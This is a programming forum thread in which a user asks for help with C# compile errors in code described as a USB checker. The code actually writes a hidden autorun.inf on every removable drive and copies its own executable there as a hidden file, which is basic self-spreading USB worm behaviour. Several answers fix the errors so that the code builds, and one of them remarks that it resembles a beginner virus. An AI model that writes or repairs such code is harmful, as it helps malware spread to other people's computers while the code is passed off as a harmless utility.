Argument errors in C # [closed]

1

Hello, I am modifying a small program that checks the usb that I have connected to my pc and then I will include a function that I will clean (I still need to implement it) if it is damaged.

The code is as follows:

using System.Reflection;
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
namespace Program
{
    class Program
    {
        static void Main(string[] args)
        {
            Comprueba();
        }
        static void Comprueba()
        {
              DriveInfo[] Drives = DriveInfo.GetDrives();
              foreach (DriveInfo drive in drives)
                    {
                        if (drive.DriveType == DriveType.Removable)
                        {
                              StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf", true);
                               writer.WriteLine("[autorun]\n");
                               writer.WriteLine("open=file.exe");
                               writer.WriteLine("action=Run win32");
                               writer.Close();
                               File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);

                               File.Copy(Assembly.GetExecutingAssembly().Location, drive.Name + "file.exe", true);

                               File.SetAttributes(drive.Name + "file.exe", File.GetAttributes(drive.Name + "file.exe") | FileAttributes.Hidden);

                        }
                    }

        }
    }
}

But it returns the following errors:

Errors:

o.cs(18,34): error CS0103: The name 'drives' does not exist in the current conte
xt
    o.cs(13,4): error CS0120: An object reference is required for the non-static fie
    ld, method, or property 'Program.Comprueba()'
    o.cs(17,6): error CS0246: The type or namespace name 'DriveInfo' could not be fo
    und (are you missing a using directive or an assembly reference?)
    o.cs(17,27): error CS0103: The name 'DriveInfo' does not exist in the current co
    ntext
    o.cs(18,34): error CS0103: The name 'drives' does not exist in the current conte
    xt
    o.cs(18,15): error CS0246: The type or namespace name 'DriveInfo' could not be f
    ound (are you missing a using directive or an assembly reference?)
    o.cs(20,30): error CS0103: The name 'DriveType' does not exist in the current co
    ntext
    o.cs(22,10): error CS0246: The type or namespace name 'StreamWriter' could not b
    e found (are you missing a using directive or an assembly reference?)
    o.cs(22,36): error CS0246: The type or namespace name 'StreamWriter' could not b
    e found (are you missing a using directive or an assembly reference?)
    o.cs(27,107): error CS0103: The name 'FileAttributes' does not exist in the curr
    ent context
    o.cs(27,58): error CS0103: The name 'File' does not exist in the current context

    o.cs(27,11): error CS0103: The name 'File' does not exist in the current context

    o.cs(29,11): error CS0103: The name 'File' does not exist in the current context

    o.cs(31,101): error CS0103: The name 'FileAttributes' does not exist in the curr
    ent context
    o.cs(31,55): error CS0103: The name 'File' does not exist in the current context

    o.cs(31,11): error CS0103: The name 'File' does not exist in the current context

How could I correct them. I'm just starting to program in c #.

    
asked by jeronimo urtado 11.04.2017 в 19:54
source

4 answers

1

Add

using System.IO;

to your imports

    
answered by 11.04.2017 в 19:56
0

The Comprueba() method as well as the main must be declared as static :

static void Comprueba()
{
    ....
}
    
answered by 11.04.2017 в 19:57
0

It may be a typographical error.

Change this line:

foreach (DriveInfo drive in drives)

For this:

foreach (DriveInfo drive in Drives)

The difference is in the variable drives , I changed it to Drives .

    
answered by 11.04.2017 в 23:01
0

This looks more like a beginner virus hehe.

Change this line:

foreach (DriveInfo drive in drives)

For this:

foreach (DriveInfo drive in Drives)
    
answered by 11.04.2017 в 23:10